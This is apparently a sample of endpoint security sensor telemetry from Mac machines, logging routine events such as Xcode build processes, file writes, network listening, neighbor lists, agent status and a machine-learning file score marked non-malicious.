-{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} -{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} -{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} -{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} -{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} -{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} -{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} 